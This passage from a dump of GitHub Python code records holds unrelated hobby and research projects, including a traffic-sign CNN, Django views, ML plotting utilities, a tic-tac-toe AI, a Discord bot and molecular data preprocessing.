loading the image\")\n\ndata_set = np.array(data_set)\nclass_labels = np.array(class_labels)\n# print(len(data_set),len(class_labels))\n\nx_train,x_test,y_train,y_test = train_test_split(data_set,class_labels,test_size = 0.3, random_state = 42)\nprint(x_train.shape,x_test.shape)\n\ny_train = to_categorical(y_train,43)\ny_test = to_categorical(y_test,43)\n\nmodel = Sequential()\nmodel.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu', input_shape=x_train.shape[1:]))\nmodel.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu'))\nmodel.add(MaxPool2D(pool_size=(2, 2)))\nmodel.add(Dropout(rate=0.25))\nmodel.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\nmodel.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\nmodel.add(MaxPool2D(pool_size=(2, 2)))\nmodel.add(Dropout(rate=0.25))\nmodel.add(Flatten())\nmodel.add(Dense(256, activation='relu'))\nmodel.add(Dropout(rate=0.5))\nmodel.add(Dense(43, activation='softmax'))\n\n#Compilation of the model\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\nepochs = 15\nhistory = model.fit(x_train, y_train, batch_size=32, epochs=epochs, validation_data=(x_test, y_test))\nmodel.save(\"trained_model.h5\")\n\nplt.figure(0)\nplt.plot(history.history['accuracy'],label = 'Training Accuracy')\nplt.plot(history.history['val_accuracy'],label = 'val accuracy')\nplt.title('ACCURACY')\nplt.xlabel('epochs')\nplt.ylabel('Accuracy')\nplt.legend()\nplt.show()\n\nplt.figure(1)\nplt.plot(history.history['loss'],label = 'Training loss')\nplt.plot(history.history['val_loss'],label = 'val loss')\nplt.title('LOSS')\nplt.xlabel('epochs')\nplt.ylabel('Loss')\nplt.legend()\nplt.show()\n\ny_test = pd.read_csv('Test.csv')\nclass_labels = y_test['ClassId'].values\nimages_data = y_test['Path'].values\n\ndata = []\nfor x in images_data:\n\timage = Image.open(x)\n\timage = image.resize((30,30))\n\tdata.append(np.array(image))\n\nx_test = np.array(data)\npredicted_labels = model.predict_classes(x_test)\nprint(accuracy_score(class_labels,predicted_labels))","repo_name":"shresta-m/Traffic_sign_classification","sub_path":"traffic_sign.py","file_name":"traffic_sign.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71804743786","text":"from django.shortcuts import render\n\nfrom home.forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import logout\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\n\nfrom accounts.models import CustomUser\n \n\n\ndef index(request):\n\treturn render(request,'home/index.html', \n { 'user': request.user }\n )\n\n'''\nLogin\n'''\n\n@csrf_protect\ndef register(request):\n if request.method == 'POST':\n form = RegistrationForm(request.POST, request.FILES)\n if form.is_valid():\n \n user = User.objects.create_user(\n username=form.cleaned_data['username'],\n password=form.cleaned_data['password1'],\n email=form.cleaned_data['email']\n )\n\n CustomUser.objects.create(\n user = user,\n phone = form.cleaned_data['phone'],\n grade = form.cleaned_data['grade'],\n photo = request.FILES['image']\n )\n\n return HttpResponseRedirect('/home')\n else:\n form = RegistrationForm()\n variables = RequestContext(request, {\n 'form': form\n })\n \n return render_to_response(\n 'registration/register.html',\n variables,\n )\n\n\n\n\ndef logout_page(request):\n logout(request)\n return HttpResponseRedirect('/home')\n \n@login_required\ndef personal(request):\n return render_to_response(\n 'home/personal.html',\n { 'user': request.user }\n )\n","repo_name":"HeadstartSiliconValley/headstart_beta","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7930804077","text":"import itertools\nimport numbers\nfrom heapq import nlargest\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\nfrom sklearn.metrics import roc_auc_score, roc_curve, auc\nfrom wordcloud import WordCloud\nimport pandas as pd\n\nfrom src import colors\n\n# set background color\nplt.rcParams['axes.facecolor'] = '#FFFFFF'\nplt.rcParams['figure.dpi'] = 360\nsns.set(rc={'axes.facecolor': '#FFFFFF', 'figure.facecolor': '#FFFFFF'})\n\n\nclass Analytics:\n \"\"\"\n Class for data analysis of recipes\n \"\"\"\n\n SMALL_SIZE = 8\n MEDIUM_SIZE = 10\n BIGGER_SIZE = 12\n\n def pooled_var(self, stds):\n # https://en.wikipedia.org/wiki/Pooled_variance#Pooled_standard_deviation\n n = 5 # size of each group\n return np.sqrt(sum((n - 1) * (stds ** 2)) / len(stds) * (n - 1))\n\n def word_frequency_for_data_frame(self, data_frame, df_labels, analyzed_column_name,\n top_n, save_path):\n \"\"\"\n Get word frequency for data frame per label
    \n\n Parameters\n ----------\n :param data_frame: pandas data frame
    \n :param df_labels: all labels for classes
    \n :param analyzed_column_name column name which should be analyzed
    \n :param top_n: how many top_n results should be shown
    \n :param save_path: path where results should be saved to
    \n :return:-\n \"\"\"\n\n for label in df_labels:\n data_frame_filtered = data_frame.loc[data_frame[df_labels] == label]\n word_freq = self.word_frequency(data_frame_filtered, analyzed_column_name, ',')\n self.top_n_word_occurrence(top_n, word_freq, label, save_path)\n\n def word_frequency(self, data_frame, column_name, split_separator):\n \"\"\"\n Returns word count for a column in a data frame\n\n Parameters\n ----------\n :param split_separator: separator for strings
    \n :param data_frame: dataframe to use
    \n :param column_name: name of the analyzed column
    \n :return: word frequencies\n \"\"\"\n word_freq = {}\n for sentence in data_frame[column_name]:\n\n # check if ingredient list is a string or already a list\n if isinstance(sentence, str):\n splitted_sentence = sentence.split(split_separator)\n else:\n splitted_sentence = sentence\n\n for word in splitted_sentence:\n word_freq[word] = word_freq.get(word, 0) + 1\n\n return word_freq\n\n def top_n_word_occurrence(self, top_n, word_frequency_dict, label, save_path):\n \"\"\"\n Plots top_n word occurrences of a word dictionary\n\n Parameters\n ----------\n :param label: label which should be used to calculate frequencies
    \n :param top_n: how many top words should be displayed
    \n :param word_frequency_dict: frequencies dictionary
    \n :return: -\n \"\"\"\n largest = nlargest(top_n, word_frequency_dict, key=word_frequency_dict.get)\n\n largest_dict = {}\n for large in largest:\n largest_dict[large] = word_frequency_dict[large]\n\n fig, ax = plt.subplots()\n\n plt.bar(range(len(largest_dict)), list(largest_dict.values()), align='center')\n plt.xticks(range(len(largest_dict)), list(largest_dict.keys()))\n plt.setp(ax.get_xticklabels(), rotation=45, horizontalalignment='right')\n plt.title(f'recipe style: {label} top {str(top_n)} words')\n plt.tight_layout()\n\n plt.savefig(f'../data/04_analytics/{label}_top_{str(top_n)}.png')\n # plt.show()\n\n def wordcloud(self, df, column_name, word_column):\n subset = df[df[column_name] == 1]\n text = map(str, subset[word_column].values)\n wc = WordCloud(background_color=\"black\", max_words=2000)\n wc.generate(\" \".join(text))\n plt.figure(figsize=(6, 3), dpi=200)\n plt.axis(\"off\")\n plt.title(f\"Words frequented in {column_name}\", fontsize=20)\n plt.imshow(wc.recolor(colormap='viridis', random_state=17), alpha=0.98)\n plt.savefig(f'../data/04_analytics/{column_name.replace(\":\", \"_\")}_wordcloud.png')\n plt.show()\n\n def class_distribution(self, df, save_title=\"class_distribution\"):\n \"\"\"\n Display the distribution of different recipe styles.\n\n Parameters\n ----------\n :param df: dataframe
    \n :param save_title: title of the png saved\n :return: -\n \"\"\"\n x = df.iloc[:, :].sum()\n # plot\n plt.figure(figsize=(8, 5))\n sns.set_theme(style=\"whitegrid\")\n sns.set_style(\"white\")\n ax = sns.barplot(x.index, x.values, alpha=0.8)\n sns.despine()\n # plt.title(\"# per class\")\n plt.ylabel('# of Occurrences', fontsize=12)\n plt.xlabel('Type ', fontsize=12)\n\n plt.setp(ax.get_xticklabels(), rotation=45, horizontalalignment=\"right\",\n rotation_mode=\"anchor\")\n\n # adding the text labels\n rects = ax.patches\n labels = x.values\n for rect, label in zip(rects, labels):\n height = rect.get_height()\n ax.text(rect.get_x() + rect.get_width() / 2, height + 5, label, ha='center', va='bottom')\n\n plt.tight_layout()\n plt.autoscale()\n plt.savefig(f\"../data/04_analytics/{save_title}.png\")\n plt.show()\n\n def plot_roc_auc(self, y_true, predict_proba, model_name, allergen):\n fpr1, tpr1, thresh1 = roc_curve(y_true, predict_proba, pos_label=1)\n random_probs = [0 for i in range(len(y_true))]\n p_fpr, p_tpr, _ = roc_curve(y_true, random_probs, pos_label=1)\n\n plt.style.use('seaborn')\n\n # plot roc curves\n plt.plot(fpr1, tpr1, linestyle='--', color='orange', label=model_name)\n plt.plot(p_fpr, p_tpr, linestyle='--', color='blue')\n # title\n plt.title(f'ROC curve - {allergen}')\n # x label\n plt.xlabel('False Positive Rate')\n # y label\n plt.ylabel('True Positive rate')\n\n plt.legend(loc='best')\n plt.savefig(f\"../data/04_analytics/roc/roc_{model_name}_{allergen}.png\")\n plt.show()\n\n # https://matthewbilyeu.com/blog/2019-02-05/validation-curve-plot-from-gridsearchcv-results\n def plot_grid_search_validation_curve(self, grid, param_to_vary, title='Validation Curve', ylim=None, xlim=None, log=None):\n \"\"\"\n Plots train and cross-validation scores from a GridSearchCV instance's\n best params while varying one of those params.\n :param grid:\n :param param_to_vary:\n :param title:\n :param ylim:\n :param xlim:\n :param log:\n :return:\n \"\"\"\n\n df_cv_results = pd.DataFrame(grid.cv_results_)\n train_scores_mean = df_cv_results['mean_train_score']\n valid_scores_mean = df_cv_results['mean_test_score']\n train_scores_std = df_cv_results['std_train_score']\n valid_scores_std = df_cv_results['std_test_score']\n\n param_cols = [c for c in df_cv_results.columns if c[:6] == 'param_']\n param_ranges = [grid.param_grid[p[6:]] for p in param_cols]\n param_ranges_lengths = [len(pr) for pr in param_ranges]\n\n train_scores_mean = np.array(train_scores_mean).reshape(*param_ranges_lengths)\n valid_scores_mean = np.array(valid_scores_mean).reshape(*param_ranges_lengths)\n train_scores_std = np.array(train_scores_std).reshape(*param_ranges_lengths)\n valid_scores_std = np.array(valid_scores_std).reshape(*param_ranges_lengths)\n\n param_to_vary_idx = param_cols.index('param_{}'.format(param_to_vary))\n\n slices = []\n for idx, param in enumerate(grid.best_params_):\n if (idx == param_to_vary_idx):\n slices.append(slice(None))\n continue\n best_param_val = grid.best_params_[param]\n idx_of_best_param = 0\n if isinstance(param_ranges[idx], np.ndarray):\n idx_of_best_param = param_ranges[idx].tolist().index(best_param_val)\n else:\n idx_of_best_param = param_ranges[idx].index(best_param_val)\n slices.append(idx_of_best_param)\n\n train_scores_mean = train_scores_mean[tuple(slices)]\n valid_scores_mean = valid_scores_mean[tuple(slices)]\n train_scores_std = train_scores_std[tuple(slices)]\n valid_scores_std = valid_scores_std[tuple(slices)]\n\n plt.clf()\n\n plt.title(title)\n plt.xlabel(param_to_vary)\n plt.ylabel('Score')\n\n if (ylim is None):\n plt.ylim(0.0, 1.1)\n else:\n plt.ylim(*ylim)\n\n if (not (xlim is None)):\n plt.xlim(*xlim)\n\n lw = 2\n\n plot_fn = plt.plot\n if log:\n plot_fn = plt.semilogx\n\n param_range = param_ranges[param_to_vary_idx]\n\n if not isinstance(param_range[0], numbers.Number):\n param_range = [str(x) for x in param_range]\n\n plot_fn(param_range, train_scores_mean, label='Training score', color='r', lw=lw)\n plt.fill_between(param_range, train_scores_mean - train_scores_std, train_scores_mean + train_scores_std, alpha=0.1, color='r', lw=lw)\n\n plot_fn(param_range, valid_scores_mean, label='Cross-validation score', color='b', lw=lw)\n plt.fill_between(param_range, valid_scores_mean - valid_scores_std, valid_scores_mean + valid_scores_std, alpha=0.1, color='b', lw=lw)\n\n plt.legend(loc='lower right')\n plt.tight_layout()\n plt.show()\n\n def plot_validation_curves(self, gs, grid_params, classifier_name=\"\"):\n \"\"\"\n Plot validation curves for each param in the param grid\n :param gs: gridsearchcv object\n :param grid_params:param grid\n :return:\n \"\"\"\n df = pd.DataFrame(gs.cv_results_)\n results = ['mean_test_score',\n 'mean_train_score',\n 'std_test_score',\n 'std_train_score']\n\n fig, axes = plt.subplots(1, len(grid_params),\n figsize=(6 * len(grid_params), 12),\n sharey='row')\n axes[0].set_ylabel(\"Score\", fontsize=25)\n\n for idx, (param_name, param_range) in enumerate(grid_params.items()):\n grouped_df = df.groupby(f'param_{param_name}')[results] \\\n .agg({'mean_train_score': 'mean',\n 'mean_test_score': 'mean',\n 'std_train_score': self.pooled_var,\n 'std_test_score': self.pooled_var})\n\n previous_group = df.groupby(f'param_{param_name}')[results]\n # rotation=20, horizontalalignment=\"right\"\n axes[idx].set_xlabel(param_name.replace(\"estimator__\", \"\"), fontsize=30)\n axes[idx].set_ylim(0.0, 1.1)\n lw = 2\n\n if param_name == \"hidden_layer_size\":\n continue\n # param_range = [''.join(i) for i in param_range]\n\n axes[idx].plot(param_range, grouped_df['mean_train_score'], label=\"Training score\",\n color=\"darkorange\", lw=lw)\n axes[idx].fill_between(param_range, grouped_df['mean_train_score'] - grouped_df['std_train_score'],\n grouped_df['mean_train_score'] + grouped_df['std_train_score'], alpha=0.2,\n color=\"darkorange\", lw=lw)\n axes[idx].plot(param_range, grouped_df['mean_test_score'], label=\"Cross-validation score\",\n color=\"navy\", lw=lw)\n axes[idx].fill_between(param_range, grouped_df['mean_test_score'] - grouped_df['std_test_score'],\n grouped_df['mean_test_score'] + grouped_df['std_test_score'], alpha=0.2,\n color=\"navy\", lw=lw)\n\n handles, labels = axes[0].get_legend_handles_labels()\n fig.suptitle(f'Validation curves {classifier_name}', fontsize=40)\n fig.legend(handles, labels, bbox_to_anchor=(0.5, 0.05), loc=\"lower center\", fontsize=20,\n bbox_transform=plt.gcf().transFigure)\n\n fig.subplots_adjust(bottom=0.35, top=0.85)\n # plt.tight_layout()\n plt.savefig(f\"../data/04_analytics/validation_curves_{classifier_name}.png\")\n plt.show()\n\n def show_correlation_plot(self, correlations, data):\n \"\"\"\n Plots a correlation plot and displays it.\n\n Parameters\n ----------\n :param correlations: Pairwise correlation of columns, excluding NA/null values
    \n :param data: Original data frame
    \n :return: -\n \"\"\"\n\n plt.figure(figsize=(10, 8))\n ax = sns.heatmap(correlations,\n xticklabels=correlations.columns.values,\n yticklabels=correlations.columns.values, annot=True)\n\n plt.setp(ax.get_xticklabels(), rotation=45, horizontalalignment=\"right\",\n rotation_mode=\"anchor\")\n\n plt.tight_layout()\n plt.autoscale()\n plt.savefig(\"../data/04_analytics/correlation_plot.png\")\n plt.show()\n\n # taken from https://github.com/MDamiano/mlcm\n def confusion_matrix(self, y_test, y_pred):\n if len(y_test.shape) != 2:\n raise IOError('y_test must be a 2D array (Matrix)')\n elif len(y_pred.shape) != 2:\n raise IOError('y_pred must be a 2D array (Matrix)')\n\n cm = np.zeros((y_test.shape[1], y_test.shape[1]))\n\n for obs in range(0, len(y_pred[:, 0])):\n j = y_pred[obs, :].argmax()\n i = y_test[obs, :].argmax()\n cm[i, j] += 1\n\n accuracy = 0.0\n for i in range(0, cm.shape[1]):\n accuracy += cm[i, i]\n accuracy /= len(y_test.argmax(axis=1))\n print(\"Accuracy on the test-set: \" + str(accuracy))\n\n return cm\n\n # taken from https://github.com/MDamiano/mlcm\n def plot_confusion_matrix(self, cm, classes, normalize=False, title='Confusion Matrix', cmap=plt.cm.Reds):\n plt.ion()\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n if np.isnan(cm).any():\n np.nan_to_num(cm, copy=False)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment='center',\n color='white' if cm[i, j] > thresh else 'black')\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.savefig(f'../data/04_analytics/confusion_matrix_{title}.png')\n plt.ioff()\n\n # taken from https://gist.github.com/shaypal5/94c53d765083101efc0240d776a23823\n def print_confusion_matrix(self, confusion_matrix, axes, class_label, class_names, fontsize=14):\n \"\"\"Prints a confusion matrix, as returned by sklearn.metrics.confusion_matrix, as a heatmap.\n\n Arguments\n ---------\n confusion_matrix: numpy.ndarray\n The numpy.ndarray object returned from a call to sklearn.metrics.confusion_matrix.\n Similarly constructed ndarrays can also be used.\n class_names: list\n An ordered list of class names, in the order they index the given confusion matrix.\n figsize: tuple\n A 2-long tuple, the first value determining the horizontal size of the ouputted figure,\n the second determining the vertical size. Defaults to (10,7).\n fontsize: int\n Font size for axes labels. Defaults to 14.\n\n Returns\n -------\n matplotlib.figure.Figure\n The resulting confusion matrix figure\n \"\"\"\n df_cm = pd.DataFrame(\n confusion_matrix, index=class_names, columns=class_names,\n )\n\n try:\n heatmap = sns.heatmap(df_cm, annot=True, fmt=\"d\", cbar=False, ax=axes)\n except ValueError:\n raise ValueError(\"Confusion matrix values must be integers.\")\n heatmap.yaxis.set_ticklabels(heatmap.yaxis.get_ticklabels(), rotation=0, ha='right', fontsize=fontsize)\n heatmap.xaxis.set_ticklabels(heatmap.xaxis.get_ticklabels(), rotation=0, ha='right', fontsize=fontsize)\n axes.set_xlabel('Predicted label')\n axes.set_ylabel('True label')\n axes.set_title(f'{class_label}')\n\n def plot_multi_label(self, confusion_matrix, class_labels, title=\"Confusion matrix\"):\n fig, ax = plt.subplots(4, 4, figsize=(12, 7))\n\n for axes, cfs_matrix, label in zip(ax.flatten(), confusion_matrix, class_labels):\n self.print_confusion_matrix(cfs_matrix, axes, label, [\"N\", \"Y\"])\n\n fig.tight_layout()\n plt.savefig(f'../data/04_analytics/multi_label_confusion_matrix_{title}.png')\n plt.show()\n\n # function to use the matplotlib imgshow to create a heatmap confusion matrix\n # taken from here https://scikit-learn.org/stable/auto_examples/model_selection/plot_confusion_matrix.html and modified\n def plot_confusion_matrix(self, cm, classes, normalize=True, title='Confusion matrix', cmap=plt.cm.Blues):\n \"\"\"\n This function is modified to show the color range as normalized to f1 score
    \n both f1 score and class count are printed in the squares\n\n Parameters\n ----------\n :param cm: Confusion matrix\n :param classes: class labels\n :param normalize: if values should be normalized\n :param title: title of the plot\n :param cmap: color of the matrix\n :return:\n \"\"\"\n\n if normalize:\n cm_normal = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n\n im = plt.imshow(cm_normal, interpolation='nearest', cmap=cmap)\n # plt.grid(None)\n plt.rc('font', size=self.SMALL_SIZE)\n\n # plt.colorbar(im, fraction=0.046, pad=0.04)\n plt.title(title)\n\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45, horizontalalignment=\"right\")\n plt.yticks(tick_marks, classes)\n\n # using the raw cm so the counts are printed on the heat map\n thresh = cm_normal.max() / 2.\n\n # set color based on threshold / white or black\n for i, j in itertools.product(range(cm_normal.shape[0]), range(cm_normal.shape[1])):\n plt.text(j, i, format(cm[i, j], 'd'),\n horizontalalignment=\"center\",\n color=\"white\" if cm_normal[i, j] > thresh else \"black\")\n plt.text(j, i + 0.27, format(cm_normal[i, j], '.2f'),\n horizontalalignment=\"center\",\n color=\"white\" if cm_normal[i, j] > thresh else \"black\")\n\n plt.ylabel('true label')\n plt.xlabel('predicted label')\n plt.tight_layout()\n plt.savefig(f'../data/04_analytics/confusion_matrix_{title}.png')\n plt.show()\n\n def show_confusion_matrix(self, cm, labels, cm_title=\"\"):\n \"\"\"\n Plots a confusion matrix with a given title, predicted and true label.\n\n Parameters\n ----------\n :param cm: array, shape = [n_classes, n_classes]
    \n :param labels:
    \n :param cm_title: Title of the plot\n \"\"\"\n\n fig, ax = plt.subplots()\n im = ax.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues)\n ax.figure.colorbar(im, ax=ax)\n\n # We want to show all ticks...\n ax.set(xticks=np.arange(cm.shape[1]),\n yticks=np.arange(cm.shape[0]),\n title='Confusion Matrix ' + cm_title,\n ylabel='True label',\n xlabel='Predicted label')\n\n ax.set_xticklabels([''] + labels)\n ax.set_yticklabels([''] + labels)\n\n ax.tick_params(axis='both', which='major', labelsize=9)\n ax.tick_params(axis='both', which='minor', labelsize=9)\n\n # Rotate the tick labels and set their alignment.\n plt.setp(ax.get_xticklabels(), rotation=45, horizontalalignment=\"right\",\n rotation_mode=\"anchor\")\n plt.tight_layout()\n\n plt.savefig(f'../data/04_analytics/confusion_matrix_{cm_title}.png')\n plt.show()\n\n def plot_boxplot(self, labels, accuracies, title):\n \"\"\"\n Plots a box plot for predicted accuracies of each model. Plot is saved under \"./analytics/\"\n\n Parameters\n ----------\n :param labels: labels for each model
    \n :param accuracies: accuracies array
    \n :param title: title of the plot
    \n :return: -\n \"\"\"\n fig = plt.figure()\n fig.suptitle(title)\n ax = fig.add_subplot(111)\n plt.boxplot(accuracies)\n ax.set_xticklabels(labels)\n plt.tight_layout()\n plt.show()\n plt.savefig(f'../data/04_analytics/{title}.png')\n\n def print_topN_feature(self, vectorizer, clf, class_labels, n=20):\n \"\"\"\n Prints features with the highest coefficient values, per class\n\n Parameters\n ----------\n :param vectorizer: vectorizer used to vectorize data
    \n :param clf: loaded model
    \n :param class_labels: labels for each class
    \n :param n: number of features to be printed
    \n :return: -\n \"\"\"\n\n feature_names = vectorizer.get_feature_names()\n for i, class_label in enumerate(class_labels):\n top_n = np.argsort(clf.coef_[i])[-n:]\n print(colors.positive + \"%s: %s\" % (class_label, \", \".join(feature_names[j] for j in top_n)))\n","repo_name":"AndreasRoither/system-for-allergen-and-style-classification","sub_path":"MachineLearning/Allergy/src/analytics.py","file_name":"analytics.py","file_ext":"py","file_size_in_byte":21815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"3120002765","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn import svm, datasets\nfrom sklearn.metrics import classification_report,confusion_matrix\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.externals import joblib\n\n\n\n\n\ndef test(X_train, X_test, y_train, y_test,a):\n\t\n\tif a==1:\n\t\tscaler = StandardScaler()\n\t\tscaler.fit(X_train)\n\t\tStandardScaler(copy=True, with_mean=True, with_std=True)\n\t\tX_train = scaler.transform(X_train)\n\t\tX_test = scaler.transform(X_test)\n\t\tmodel = joblib.load('mlp-model.sav')\n\t\tpredictions= model.predict(X_test)\n\t\tprint(predictions)\n\t\tprint(classification_report(y_test,predictions))\n\t\tprint(model.score(X_test,y_test))\n\telif a==2:\n\t\tmodel = joblib.load('svm-model.sav')\n\t\tpredictions= model.predict(X_test)\n\t\tprint(classification_report(y_test,predictions))\n\t\tprint(predictions)\n\t\tprint(model.score(X_test,y_test))\n\telif a==3:\n\t\tmodel = joblib.load('svm-model-ovr.sav')\n\t\tpredictions= model.predict(X_test)\n\t\tprint(classification_report(y_test,predictions))\n\t\tprint(model.score(X_test,y_test))\n\t\t\n\n\ndf=pd.read_csv('mergedng-yn2binary-dummycoding.csv')\n\n\n\nX=df.drop('Walc',axis=1)\nX=df.drop('Dalc',axis=1)\n\nX=df.drop('school_GP',axis=1)\nX=df.drop('school_MS',axis=1)\n\n\nY=df['Walc']\nX_train, X_test, y_train, y_test = train_test_split(X, Y)\n\n\nx=0\nwhile x==0:\n\n\ta=input('enter 1 to test mlp, enter 2 to test svm-ova,enter 3 to test svm-ovr');\n\n\ttest(X_train, X_test, y_train, y_test,a)\n\n\tx=input('enter 0 to continue ');\n\n\n\n\n","repo_name":"TejaGollapudi/Student-Alcohol-consumption-ML-prediction-model","sub_path":"project/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22728744247","text":"from easyAI import TwoPlayerGame, AI_Player, Negamax\n\nN = 4\n\n\nclass TicTacToe(TwoPlayerGame):\n def __init__(self, players):\n self.players = players\n self.current_player = 2\n self.board = {(0, 0): 1}\n self.moves = {(i - 1, j - 1) for i in range(3) for j in range(3)} - {(0, 0)}\n self.last_move = None\n self.new_moves = []\n\n def possible_moves(self):\n return list(self.moves)\n\n def make_move(self, move):\n self.board[move] = self.current_player\n self.moves.remove(move)\n self.last_move = move\n\n x, y = move\n new_moves = {(x + x_dif - 1, y + y_dif - 1) for x_dif in range(3) for y_dif in range(3)}\n new_moves = (new_moves - self.board.keys()) - self.moves\n self.new_moves.append(new_moves)\n self.moves.update(new_moves)\n\n def unmake_move(self, move):\n del self.board[move]\n self.last_move = None\n self.moves -= self.new_moves.pop()\n self.moves.add(move)\n\n def lose(self):\n if not self.last_move:\n return False\n x, y = self.last_move\n for i in range(N):\n if (\n all(self.board.get((x - j + i, y)) == self.opponent_index for j in range(N)) or\n all(self.board.get((x, y - j + i)) == self.opponent_index for j in range(N)) or\n all(self.board.get((x - j + i, y - j + i)) == self.opponent_index for j in range(N)) or\n all(self.board.get((x - j + i, y + j - i)) == self.opponent_index for j in range(N))\n ):\n return True\n return False\n\n def is_over(self):\n return (not self.moves) or self.lose()\n\n def scoring(self):\n return -100 if self.lose() else 0\n\n def show(self):\n min_i = min(self.board.keys(), key=lambda key: key[0])[0]\n max_i = max(self.board.keys(), key=lambda key: key[0])[0]\n min_j = min(self.board.keys(), key=lambda key: key[1])[1]\n max_j = max(self.board.keys(), key=lambda key: key[1])[1]\n for i in range(min_i, max_i + 1):\n for j in range(min_j, max_j + 1):\n print(['.', 'O', 'X'][self.board.get((i, j), 0)], end=' ')\n print()\n\n def ttentry(self):\n return tuple(sorted(self.board.items()))\n\n def ttrestore(self, entry):\n self.board = dict(entry)\n\n\ngame = TicTacToe([AI_Player(Negamax(4)), AI_Player(Negamax(4))])\nhistory = game.play()\n","repo_name":"baton96/Misc","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72071922986","text":"from Magic8.Magic8 import Magic8\nfrom creds import CHANNEL, TOKEN\nimport discord\n\nclient = discord.Client()\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n@client.event\nasync def on_message(message):\n if message.author == client.user:\n return\n\n if message.content.endswith('?') and str(message.channel.id) == CHANNEL:\n magic8 = Magic8(message)\n await magic8.answer_question()\n\nclient.run(TOKEN)\n","repo_name":"DakotaOberon/Discord-Magic-8","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13548785848","text":"#!/usr/bin/python2\n\nimport sqlite3\n\nmydatabase = \"/home/bal/Proiect/NutryPy/products.sqlite\"\nconnection = sqlite3.connect(mydatabase)\ncursor = connection.cursor()\ncursor.execute('SELECT * FROM products WHERE id=1')\nentries = cursor.fetchall()\n\n#print entries\n\ncursor.close()\nquit()\n","repo_name":"dmf21/NutryPy","sub_path":"query_db.py","file_name":"query_db.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35006455703","text":"\"\"\"\nFunctions for molecular data processing/analysis using `molgrid` and `torch`.\n\nIt offers functionalities to standardize molecular structures of both receptors\nand ligands, ensuring their compatibility with trained models. The module\nfurther supports the loading and application of machine learning models on\nmolecular data, making predictions based on the provided examples. Special\nattention is given to ensuring proper ordering and masking of molecular terms\nduring processing.\n\"\"\"\n\nimport argparse\nimport re\nfrom censible.data.get_data_paths import data_file_path\nimport molgrid\nimport subprocess\nimport torch\nfrom censible.CEN_model import CENet\nimport random\nimport os\nimport numpy as np\nimport tempfile\n\n\ndef is_numeric(s: str) -> bool:\n \"\"\"Return a boolean representing if the string s is a numeric string.\n \n Args:\n s (str): A string.\n \n Returns:\n A boolean representing if the string s is a numeric string.\n \"\"\"\n return bool(re.match(r\"^[-+]?[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?$\", s))\n\n\ndef fix_receptor_structure(filename: str, obabel_exec: str) -> str:\n \"\"\"Fix the protein structure to make it more like the training set.\n\n Note:\n 1. Remove all waters. \n 2. Delete all hydrogens. \n 3. Protonate at pH7. \n Note that PDB files do not include charges, so these will be recalculated.\n\n Args:\n filename (str): The path to the protein file.\n obabel_exec (str): The path to the open babel executable.\n\n Returns:\n A string representing the path to the temporary file.\n \"\"\"\n if os.path.exists(f\"{filename}.censible.converted.pdb\"):\n # For receptor, if converted already exists, don't recreate it.\n print(\n f\"\\nWARNING: using existing converted receptor file:\\n{filename}.censible.converted.pdb\\nDelete this file if you want to recreate it.\",\n end=\"\",\n )\n return f\"{filename}.censible.converted.pdb\"\n\n # First, remove all waters\n with open(filename) as f:\n pdb_lines = f.readlines()\n pdb_lines = [\n l for l in pdb_lines if not \"HOH\" in l and not \"WAT\" in l and not \"TIP3\" in l\n ]\n with open(f\"{filename}.no_waters.tmp.pdb\", \"w\") as f:\n f.writelines(pdb_lines)\n\n # Second remove existing hydrogen atoms\n subprocess.check_output(\n f\"{obabel_exec} {filename}.no_waters.tmp.pdb -O {filename}.no_waters.noh.tmp.pdb -d > /dev/null\",\n shell=True,\n )\n\n # Third, protonate at pH7\n subprocess.check_output(\n f\"{obabel_exec} {filename}.no_waters.noh.tmp.pdb -O {filename}.censible.converted.pdb -p 7 > /dev/null\",\n shell=True,\n )\n\n # Clean up intermediate files\n 